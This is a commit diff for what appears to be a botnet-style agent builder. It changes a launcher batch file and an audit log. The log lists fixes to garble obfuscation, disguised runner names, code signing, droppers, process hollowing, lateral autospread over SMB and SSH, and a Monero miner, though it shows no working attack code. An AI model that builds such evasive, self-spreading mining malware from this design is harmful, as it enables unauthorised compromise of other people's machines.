fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
34
LAUNCH.bat
34
LAUNCH.bat
@@ -105,13 +105,16 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
|||||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||||
|
|
||||||
:: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set
|
|
||||||
:: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN).
|
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
:: ----------------------------------------------------------------
|
||||||
:: 5. Detect LAN IP for display
|
:: 5. Detect LAN IP for display
|
||||||
:: ----------------------------------------------------------------
|
:: ----------------------------------------------------------------
|
||||||
set "SERVER_PORT=8989"
|
set "SERVER_PORT=8989"
|
||||||
|
set "CONFIG_FILE=%ROOT%\data\config.json"
|
||||||
|
if exist "%CONFIG_FILE%" (
|
||||||
|
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
|
||||||
|
if not "%%P"=="" set "SERVER_PORT=%%P"
|
||||||
|
)
|
||||||
|
)
|
||||||
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
|
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
|
||||||
set "LAN_IP=%%I"
|
set "LAN_IP=%%I"
|
||||||
goto lan_done
|
goto lan_done
|
||||||
@@ -136,18 +139,37 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
|
|||||||
echo Data: %ROOT%\data\
|
echo Data: %ROOT%\data\
|
||||||
echo.
|
echo.
|
||||||
echo Login accounts: admin + comrade ^(passwords below after start^).
|
echo Login accounts: admin + comrade ^(passwords below after start^).
|
||||||
echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector.
|
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
|
||||||
echo Press Ctrl+C to stop.
|
echo Press Ctrl+C to stop.
|
||||||
echo ================================================================
|
echo ================================================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
|
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
|
||||||
|
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if exist "%CF_SCRIPT%" (
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%ROOT%"
|
||||||
|
) else (
|
||||||
|
echo [Tunnel] WARNING: scripts\usb-start-cloudflared.ps1 missing - repack usb folder.
|
||||||
|
)
|
||||||
|
echo.
|
||||||
|
|
||||||
:: Open browser after short delay
|
:: Open browser after short delay
|
||||||
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
||||||
|
|
||||||
:: Launch server
|
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
|
||||||
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
|
set "AF_TUNNEL_EXTERNAL=1"
|
||||||
|
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
|
||||||
set "EC=!ERRORLEVEL!"
|
set "EC=!ERRORLEVEL!"
|
||||||
|
|
||||||
|
if exist "%ROOT%\data\cloudflared.pid" (
|
||||||
|
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
|
||||||
|
taskkill /F /PID %%P >nul 2>nul
|
||||||
|
)
|
||||||
|
del "%ROOT%\data\cloudflared.pid" 2>nul
|
||||||
|
)
|
||||||
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
if "!EC!"=="0" (
|
if "!EC!"=="0" (
|
||||||
echo [Server] Stopped normally.
|
echo [Server] Stopped normally.
|
||||||
|
|||||||
285
PROBLEMS.md
285
PROBLEMS.md
@@ -1,191 +1,128 @@
|
|||||||
# Problems
|
|
||||||
|
|
||||||
Findings from systematic bug-hunt and test expansion (May 2026).
|
## Builder / Forge
|
||||||
|
|
||||||
**Verification:** `test.bat` from project root (→ `scripts/test-suite.ps1`), or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. Live API matrix: `scripts/smoke-test.ps1` with server on :8989. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
|
*Scope: B-01–B-13 (2026-06-04 pass). `go test ./internal/builder/... ./internal/api/...` — run after changes.*
|
||||||
|
|
||||||
|
### Fixed in this pass
|
||||||
|
|
||||||
|
| ID | Fix |
|
||||||
|
|----|-----|
|
||||||
|
| B-01 | `checkBuildSizeFile` enforced on universal/spread-kit and universal-fusion ZIP outputs (`limits.go`, `build_universal.go`). |
|
||||||
|
| B-02 | `signExecutable` runs on spread-kit workers and universal-fusion runners when `sign_build` is set (`build_universal.go`). |
|
||||||
|
| B-03 | Dropper `/get` resolves `DownloadURL` artifact paths before `FilePath` (`dropper_handler.go`; `dataDir` on handler). |
|
||||||
|
| B-04 | Fusion launcher compile respects `shouldObfuscate` / garble (`fusion_media.go`). |
|
||||||
|
| B-05 | Fusion estimate uses paired/embedded sizing; removed stale `"video"` kind branch (`estimate.go`). |
|
||||||
|
| B-06 | Estimate adds `signingToolMissingNote` when cert configured but signtool/osslsigncode absent (`estimate.go`, `sign_*.go`). |
|
||||||
|
| B-07 | Universal fusion README `RunnerName` uses `disguisedRunnerName(payloadBase)` (`build_universal.go`). |
|
||||||
|
| B-08 | `publishFusionDeliverable` falls back to `dataDir` when `projectRoot` empty (`fusion_media.go`). |
|
||||||
|
| B-09 | PathForge `Placed` excludes hint file from count (`pathforge.go`). |
|
||||||
|
| B-10 | Multipart parse limit raised to `multipartMaxMemory` (2 GiB + headroom) (`limits.go`, `handler.go`). |
|
||||||
|
| B-11 | Dropper PS1 ZIP handler also tries `start.bat` / `deploy.bat` (`dropper_handler.go`). |
|
||||||
|
| B-12 | `DownloadBuild` Content-Disposition uses `FileName` (`handler.go`). |
|
||||||
|
| B-13 | `resolveToolPaths` probes bundled `toolchain/gopath/bin` for garble and go-winres (`winres.go`). |
|
||||||
|
|
||||||
|
### Open
|
||||||
|
|
||||||
|
*(none in B-01–B-13 scope)*
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Open
|
## Dashboard (React/Vite)
|
||||||
|
|
||||||
### Critical / security
|
*Audit fixes: 2026-06-04. `npm run test -- --run` in `server/web` — pass.*
|
||||||
|
|
||||||
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
|
### Fixed in this pass
|
||||||
|
|
||||||
### Frontend production (server/web)
|
| Fix | Area |
|
||||||
|
|-----|------|
|
||||||
|
| SessionGate distinguishes 401 vs transport errors; network blip keeps saved credentials with degraded banner | `SessionGate.tsx` |
|
||||||
|
| Session expiry message when 401 clears auth mid-session (`consumeAuthExpiredFlag`) | `auth.ts`; `client.ts`; `SessionGate.tsx` |
|
||||||
|
| Download timeouts + AbortError messaging: `downloadAuthedFile`, `downloadAgentLog`, `downloadBackup` (5 min / 10 min) | `download.ts`; `client.ts` |
|
||||||
|
| Agent log `refresh=1` uses 90s timeout (long-poll) | `client.ts` |
|
||||||
|
| Re-forge requires confirmation before compile; fusion prep picker highlights on missing payload | `BuilderPage.tsx` |
|
||||||
|
| BuildManager delete/pin errors surfaced; dropper copy clarifies pinned vs latest; `serverBase` prefers `suggested_url` via parallel `getServerInfo` | `BuildManagerPage.tsx` |
|
||||||
|
|
||||||
- [LOW] **server/web** — Vite build still warns on `three` vendor chunk (~760 kB gzip ~201 kB). Split out of `DashboardPage`; inherent library size — revisit on next Three/R3F bump.
|
### Open (document-only / deferred)
|
||||||
- [LOW] **server/web** — `npm audit fix` (no `--force`, May 2026) applied **0** semver-safe patches; **6 remain** (5 moderate, 1 critical). **Critical:** `happy-dom@15.x` (Vitest DOM env only — not shipped; fix needs `happy-dom@20.9+`, major bump). **Moderate:** `esbuild@0.21.x` via `vite@5` → `vitest`/`vite-node` (dev-server SSRF — [GHSA-67mh-4wv8-2f99]; prod build unaffected; fix needs `vite@8+`, major bump). Do **not** run `npm audit fix --force` — also pulls Recharts v3 / React 19 transitives. Planned upgrade batch: Vite 8 + Vitest 3 + happy-dom 20 + Recharts 3 + React 18→19.
|
|
||||||
- [LOW] **server/web** — Transitive `three-mesh-bvh@0.7.8` deprecated vs pinned `three@0.170` (drei pulls 0.7.x; needs `0.8.0+` on next Three/R3F bump). `@types/three` now pinned to `0.170.0` (aligned with runtime).
|
|
||||||
|
|
||||||
### Untested packages (next coverage targets)
|
| Issue | Notes |
|
||||||
|
|
||||||
- [LOW] **server/internal/builder/** — Unit tests cover compile/fusion/disguise **helpers** (fake-go success/fail/cancel, `compileWorker`, `buildFileFusion` paired/embedded, spread-kit/fusion finish paths, manifest patching). **Integration-only** (needs real toolchain on host): successful agent/fusion `go build`/`garble` binaries, Windows PE disguise (`go-winres`, system icon extract), code signing (`signtool`/`osslsigncode`), Darwin `.app` bundle, full `buildAgent`/`buildUniversalAgent` happy-path end-to-end.
|
|
||||||
- [LOW] **agent/stats/** — Live kernel/sysctl/vm_stat sampling still integration-only; unit tests cover pure parsers (`parseKB`, `parseMeminfo`, `parseVmStat*`, `filetimeToUint64`, `cpuBusyPercentFromDeltas`).
|
|
||||||
- [LOW] **agent/deploy/** — Live SSDP multicast/SMB/SSH/cloudflared still integration-only; unit tests cover UPnP XML/URL/SOAP helpers, SSDP LOCATION parsing, passive-spread name/launcher helpers, and platform stubs (`go test ./deploy/...`).
|
|
||||||
- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only; unit tests cover pure helpers in `client.go`/`ai.go` (`truncateStr`, JSON types, job payload parsing, mock HTTP for `/decide`/`/heartbeat`/`/report`).
|
|
||||||
- [LOW] **agent/miner/** — RandomX hashing (`engine.go`), pool worker loop, and stratum TCP login/submit still integration-only; unit tests cover target/schedule helpers, stratum wire types, resource-limit guards, and hex/target math (no VM, no live TCP).
|
|
||||||
- [LOW] ~~**server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.~~ **Fixed May 2026** — `testdata/ws_types_fixture.json` golden file; Go `ws_types_test.go` reflects struct tags; TS `ws.test.ts` asserts same keys/shapes.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Documented / by design
|
|
||||||
|
|
||||||
Findings reclassified after code verification (May 2026). Not bugs — documented in README, tests/README, help text, or tests.
|
|
||||||
|
|
||||||
| Was | Resolution |
|
|
||||||
|-----|------------|
|
|
||||||
| [HIGH] Plaintext passwords in `users.json` | `users.json` stores bcrypt hashes (cost 12). Legacy plaintext auto-migrates on startup and login via `checkPassword` in `router.go`. Documented in README Security + First-run login. |
|
|
||||||
| [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. |
|
|
||||||
| [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. |
|
|
||||||
| [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. |
|
|
||||||
| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `devrun.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
|
|
||||||
| [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings` → `SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) |
|
|
||||||
| [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. |
|
|
||||||
| [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. |
|
|
||||||
| [LOW] Mesh P2P needs `p2p` tag | Forge adds `-tags p2p` when mesh enabled (`compile.go`); manual builds documented in README agent section. |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Fixed (this session — dead code / wiring pass)
|
|
||||||
|
|
||||||
- **[LOW] server/web + server/internal/db** — `BuildRecord.extra_files` persisted in SQLite (`extra_files` JSON column). Build Manager lists extra artifact downloads via `api.buildArtifactUrl` for historical builds, not only the post-forge strip on Forge.
|
|
||||||
- **[LOW] server/internal/api/router.go + server/web/src/api/client.ts** — Documented agent-only `POST /agent/{decide,report,heartbeat}` (fleet-secret REST; intentionally omitted from dashboard client).
|
|
||||||
- **[LOW] server/web/src/types/index.ts** — `BuildRecord.download_url` required in TS; added `BuildExtraFile` type. Build Manager uses stored `download_url` for primary download (ZIP/artifact paths).
|
|
||||||
|
|
||||||
- **server/web/src/api/client.ts** — Added `rotateFleetSecret()` for `POST /server/rotate-secret` (was raw `fetch` in Calibrate only).
|
|
||||||
- **server/web/src/pages/SettingsPage.tsx** — Fleet secret rotation uses `api.rotateFleetSecret()`.
|
|
||||||
- **server/web/src/pages/BuilderPage.tsx** — Wired `blueprintDiff` + `compareBlueprint` / `blueprintName` into a dismissible diff panel after blueprint load/import; extra forge artifacts use `api.buildArtifactUrl` on the last-build strip.
|
|
||||||
- **server/web/src/pages/BuildManagerPage.tsx** — Primary download uses stored `build.download_url` when present (artifact/ZIP paths from universal/Fusion builds).
|
|
||||||
|
|
||||||
## Fixed (this session — frontend production pass)
|
|
||||||
|
|
||||||
- **[LOW] server/web** — Vite large-chunk warning for `DashboardPage` (~898 kB → ~33 kB): `manualChunks` splits `three` / `recharts` / `vendor` in `vite.config.ts`; lazy `HashrateChart`, `FleetTopologyMap`, and `MatrixStreamOverlay` in `DashboardPage.tsx`. `npm run build` PASS (remaining warning is isolated `three` chunk only).
|
|
||||||
- **[LOW] server/web** — React Router v7 future flags (`v7_startTransition`, `v7_relativeSplatPath`) opted in via shared `routerFuture` in `main.tsx` and Vitest `MemoryRouter` wrappers; Vitest stderr warnings cleared.
|
|
||||||
- **[LOW] server/web/package.json** — Moved `@types/qrcode` and `@types/three` to `devDependencies` (types-only; runtime deps unchanged). `npm ci`, `npm run build`, `npm test -- --run`, and `depcheck` all PASS (33 files / 372 tests).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Fixed (this session — May 2026 full pass)
|
|
||||||
|
|
||||||
- **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed).
|
|
||||||
- **[MEDIUM] agent/miner/pool.go** — Added atomic `jobGen` counter incremented in `SetJob`. Workers snapshot `jobGen` before each 256-nonce inner loop and break early when it changes, eliminating the "stale batch" window. Engine updates moved outside the pool write-lock (each `Engine` has its own `RWMutex`).
|
|
||||||
- **[LOW] server/internal/api/fleet_handler.go** — `xmrPriceCache` moved from package-global vars (`xmrPriceMu`, `xmrPriceCache`) into `FleetHandler` struct fields (`xmrPriceMu`, `xmrPriceCache`). Multiple routers in one process no longer share a stale cache. Tests updated.
|
|
||||||
- **[LOW] server/config.go** — `LoadConfig` now calls `mergeConfigExplicit` (with a key-presence map) instead of legacy `mergeConfig`. Boolean fields absent from a hand-edited `config.json` now keep `DefaultConfig` values rather than being zeroed on restart.
|
|
||||||
- **[LOW] server/internal/api/config_handler.go** — Removed unused `db *db.Database` field from `ConfigHandler` and updated `NewConfigHandler` signature. All call sites updated (`router_test.go`, `integration_test.go`, `config_handler_test.go`, `main.go`).
|
|
||||||
- **[LOW] server/main.go** — `UpdateConfigFromJSON` now validates semantic constraints before merging: port ranges 1–65535, pool port range, non-negative max_agents/stats_retention_hours/build_retention_days/max_build_size_mb. Invalid values return `"invalid config: …"` 400 without touching disk.
|
|
||||||
- **[LOW] server/internal/db/agent_meta.go** — `decodeTags` now logs corrupt tag JSON via `log.Printf` instead of silently discarding it.
|
|
||||||
- **[LOW] server/web/src/pages/SettingsPage.tsx** — All `<label>` elements paired with text inputs now carry `htmlFor` attributes matching corresponding `id` attributes on their inputs (33 label/input pairs). A11y issue closed.
|
|
||||||
|
|
||||||
## Fixed (this session — May 2026 security pass)
|
|
||||||
|
|
||||||
- **[CRITICAL] server/internal/api/router.go** — Build download/artifact/uninstall routes (`/api/v1/builds/{id}/download`, `/artifact/`, `/uninstall`) now require either `X-Fleet-Secret` (for agent self-upgrade) or Basic Auth. Removed unconditional public bypass. Tests updated: `TestBasicAuthMiddlewareBuildDownloadRequiresAuth`, `TestRouterBuildDownloadAuth`.
|
|
||||||
- **[CRITICAL] server/internal/api/router.go** — Agent API paths (`/api/v1/agent/*`) now explicitly return 503 when fleet secret is not configured, rather than silently allowing unauthenticated access. Fleet secret is always auto-generated at first startup via `main.go` so this state should not occur in production.
|
|
||||||
- **[CRITICAL] server/internal/api/ai_handler.go** — SSRF fixed: `handleDecide` no longer accepts or uses the caller-supplied `ollama_endpoint` to create a new engine. It now requires the engine to be pre-registered when the agent authenticates via WebSocket, returning 403 otherwise. Tests updated: `TestAIHandleDecideSuccess`, `TestAIHandleDecideOllamaFailureFallback`, renamed `TestAIHandleDecideCreatesEngineOnFirstRequest` → `TestAIHandleDecideRejectsUnregisteredAgent`.
|
|
||||||
- **[HIGH] agent/deploy/hollow_windows.go** — Added bounds checks in `rvaToFileOffset` (section header array), relocation entry loop (2-byte entry boundary), and `RunHollowed` section-write loop (header and raw-data bounds). Prevents out-of-bounds panics on malformed/truncated PE payloads.
|
|
||||||
- **[HIGH] agent/deploy/autospread.go** — `StartAutoSpreader` moved from unconditional startup in `main.go` to `AgentClient.authenticate()` behind a `sync.Once`. Lateral movement only begins after the server accepts the fleet secret, ensuring the agent is on an owned fleet. First-run spread marker also gated behind auth.
|
|
||||||
- **[LOW] server/internal/builder/platform.go** — `platformsForRequest` universal + `TargetArch: arm64` now returns ALL matching platforms (linux-arm64 and darwin-arm64), not just the first. Test `TestPlatformsForRequestUniversalFilteredArch` updated.
|
|
||||||
- **[LOW] server/internal/maintenance/retention.go** — DB record is now deleted before artifact files (so failed DB deletes don't leave orphaned rows pointing to deleted files). `os.RemoveAll` errors are now logged instead of silently discarded.
|
|
||||||
- **[LOW] server/internal/maintenance/retention.go** — `StopRetentionJobs` cancels the background retention loop; `main.go` defers it on exit. Test: `TestStopRetentionJobs_StopsBackgroundLoop`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Fixed (prior session)
|
|
||||||
|
|
||||||
- **agent/deploy/** — Added `natpunch_test.go` (10), `hollow_test.go`, `tunnel_test.go`, `autospread_test.go` (2): UPnP XML/SOAP mocks, `xmlEscape`/`getSubnet`/`intSliceStr`, tunnel URL validation, autospread stub paths, hollow unavailable without `-tags hollow`.
|
|
||||||
- **agent/client/** — Added `client_test.go` (8), `listen_ports_test.go` (2), `dns_config_test.go` (3), `posture_windows_test.go` (5), `listen_ports_parse_test.go` (5, `!windows`): server URL list/WS URL builders, log tail, listen-port/patch JSON, DNS JSON parser, ss/netstat parsers, Windows posture JSON helpers.
|
|
||||||
- **agent/client/client.go** — `readLogTail` ignored trailing newline when counting lines; `tail_lines=2` on a 4-line log with final `\n` returned only `"line4\n"` instead of last two content lines.
|
|
||||||
- **agent/stats/** — Added `reporter_test.go` (4 smoke tests), `reporter_linux_test.go` (`parseKB`, linux tag).
|
|
||||||
- **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode.
|
|
||||||
- **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches.
|
|
||||||
- **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error.
|
|
||||||
- **server/internal/alerts/** — Added `notify_test.go` (6 tests): Telegram/email no-op paths, SMTP defaults, `NotifyAll` no-panic.
|
|
||||||
- **server/internal/pool/** — Added `manager_test.go` (8 tests): validation, `poolKey`, status levels, setters, `ListStatus`.
|
|
||||||
- **server/internal/db/sqlite.go** — `SetPinnedBuild` returns error when id not found; `TestSetPinnedBuildUnknownID`.
|
|
||||||
- **agent/client/** — Added `protocol_test.go`, `posture_types_test.go`, `resource_pressure_test.go` (25 tests).
|
|
||||||
- **agent/client/client.go** — Empty `"error"` in job payload no longer treated as server error.
|
|
||||||
- **agent/config/** — Added `schedule_test.go` (6 tests): mining mode, clock parse, schedule windows.
|
|
||||||
- **agent/deploy/** — Added `common_test.go`, `identity_test.go` (18 tests): naming, install paths, agent ID lifecycle.
|
|
||||||
- **agent/job/** — Added `job_test.go` (2 tests): JSON round-trip.
|
|
||||||
- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
|
|
||||||
- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
|
|
||||||
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
|
|
||||||
- **server/web/src/pages/AgentsPage.test.tsx** — `AgentRemoteActions` mocked to avoid live `listBuilds` / ECONNREFUSED :3000 in detail-panel tests.
|
|
||||||
- **server/web/src/api/client.ts** — `fetchJSON` spread `...options` after merged headers could drop `Content-Type` and `Authorization` when callers pass `options.headers`; headers now merged after rest spread.
|
|
||||||
- **server/web/src/api/** — Added `client.test.ts` (20) and `download.test.ts` (6): paths, query params, auth headers, FormData fusion builds, error bodies. Expanded `auth.test.ts` (+1 sessionStorage throw path).
|
|
||||||
- **server/web/src/context/** — Added `WebSocketContext.test.tsx` (2), `WebSocketProvider.test.tsx` (8), `ForgeContext.test.tsx` (4): mock WebSocket connect URL/token, message handlers, `_seq` ring buffer, reconnect timer, forge state machine.
|
|
||||||
- **server/web/src/pages/BuilderPage.tsx** — Load failure no longer stuck on “Loading forge defaults…” when `form` is null; error message shown instead. Wallet placeholder/short-wallet hint aligned to 90–106 chars. Exported `formatBytes` helper.
|
|
||||||
- **server/web/src/pages/SettingsPage.tsx** — Wallet placeholder aligned to 90–106 chars. Exported `deepMerge` helper (config import).
|
|
||||||
- **server/web/src/pages/** — Added `BuilderPage.test.tsx` (13) and `SettingsPage.test.tsx` (11, Calibrate UI at `/settings`). Page suite now 4 files / 46 tests.
|
|
||||||
- **server/web/src/test/fixtures.ts** — Added `mockServerConfig()` for page/API tests.
|
|
||||||
- **server/internal/api/config_handler.go** — PUT errors return valid JSON; `invalid config:` maps to HTTP 400; GET sets explicit 200.
|
|
||||||
- **server/config.go** — `mergeConfigExplicit` tracks nested key presence; partial PUT `{"server":{"dashboard_subtitle":"x"}}` no longer resets sibling booleans (H14 nested shallow-merge).
|
|
||||||
- **server/internal/api/config_handler_test.go** — 10 handler unit tests (GET/PUT, 405, invalid JSON, 400/500 paths, JSON escaping).
|
|
||||||
- **server/config_test.go** — 9 `mergeConfigExplicit` regression tests (partial PUT, nested merge, defaults, bool false, fallback).
|
|
||||||
- **server/internal/maintenance/** — Added `retention_test.go` (12 tests): `StartRetentionJobs` no-op/disabled, immediate run, 6h tick interval, stats/build purge via temp sqlite + filesystem, zero-retention skips, closed-DB error logs, combined stats+builds pass. Coverage ~97%. Exported `retentionTickInterval` + `runRetentionFn` hooks for testability only.
|
|
||||||
- **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13).
|
|
||||||
- **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper.
|
|
||||||
- **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard).
|
|
||||||
- **server/web/src/pages/** — Added `DashboardPage.test.tsx` (11) and `AgentsPage.test.tsx` (12); vitest config extended for `.tsx` + `@testing-library/react`.
|
|
||||||
- **server/internal/db/retention.go** — `ListBuildsOlderThan` used a partial column list; now uses `buildSelectCols` + `scanBuild` for consistent full `BuildRecord` fields.
|
|
||||||
- **server/web/e2e/smoke.spec.ts** — E2E login used hardcoded `drjones`/`czapiewski`; now reads `AETHERFORGE_E2E_USER`/`AETHERFORGE_E2E_PASS` via `e2e/fixtures.ts` (defaults `testuser`/`testpass`, matching `integration_test.go`). `test-suite.ps1` seeds BOM-free `users.json` before E2E server start; `smoke-test.ps1` defaults updated.
|
|
||||||
- **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard.
|
|
||||||
- **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password.
|
|
||||||
- **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge.
|
|
||||||
- **server/internal/api/fleet_handler_test.go** — Unit tests for all exported `FleetHandler` methods (`GetAlerts`, `GetPoolStatus`, `GetAIActivity`, `GetXMRPrice`, `GetEarnings`/`GetEarningsEstimate`, `GetAgentLog`, `PostAgentCommand`, `PutAgentMeta`, `PostBulkCommand`), `EstimateXMRPerDay`/`parseFloatQuery`, earnings/XMR price cache TTLs, SupportXMR field normalization, HTTP error branches (503/502/400), and WS command paths via mock transport + test agent WS.
|
|
||||||
- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95–106 but validator accepts 90–106; message aligned with `looksLikeXMRWallet()`.
|
|
||||||
- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8).
|
|
||||||
- **server/web/src/help/buildManager.test.ts** — 9 tests: `blueprintDiff` (added/removed/changed, sort, nested, arrays, empty), `buildRequestFromRecord` merge/override.
|
|
||||||
- **server/web/src/help/cheatSheetContent.test.ts** — 19 tests: pipeline/network/fusion/AI guides, `FORGE_VS_CALIBRATE`, `TROUBLESHOOTING`, `ROADMAP_FEATURES`, `CHEAT_SECTIONS` registry.
|
|
||||||
- **server/web/src/help/forgeDefaults.test.ts** — 7 tests: `FORGE_BUILD_DEFAULTS` shape, `forgeDefaultsFromServer` public URL / pool / sign / obfuscate.
|
|
||||||
- **server/web/src/help/remoteActions.test.ts** — Expanded to 11 tests: `aggressiveActionHint`, spread/mesh gating, legacy undefined caps.
|
|
||||||
- **server/web/src/help/cheatSheetContent.ts** — Troubleshooting "Shares all rejected" wallet text aligned to 90–106 chars (was stale "95 chars").
|
|
||||||
- **server/internal/builder/** — Added unit tests across compile, disguise, fusion media, polymorph, limits, media lock, handler HTTP/cancel, spread-kit helpers (~110 tests). Fixed wallet validation error text (90–106 chars). `go test ./internal/builder/...` — PASS.
|
|
||||||
- **server/web/src/help/settingHelp.ts** — `calibrate_wallet` / `wallet` help aligned to 90–106 chars (was stale "~95 characters"); `settingHelp.test.ts` assertions.
|
|
||||||
- **server/web/src/components/Charts/GaugeRing.tsx** — Center label now uses clamped value (matches SVG arc 0–100%); `components.test.tsx` updated.
|
|
||||||
- **server/web/src/pages/AgentsPage.tsx** — Fleet Roster `FleetToolbar` wired with `onSelectAllFiltered` / `filteredCount` (Dashboard parity).
|
|
||||||
- **server/web/src/api/client.ts** — `estimateFusion` client-side prep-file guard (parity with `buildAgent`); `client.test.ts` reject test.
|
|
||||||
- **agent/miner/** — Added `stratum_test.go` (8), `pool_test.go` (8); expanded `target_test.go` (+6), `schedule_test.go` (+3). **29 tests PASS** — endpoints, Stratum JSON wire types, nonce hex, difficulty/target math, schedule guard.
|
|
||||||
- **agent/miner/schedule.go** — `MiningModeNormalized()` `"schedule"` was treated as always-on; now accepts `"scheduled"` and `"schedule"`; `allowedAt` for deterministic tests.
|
|
||||||
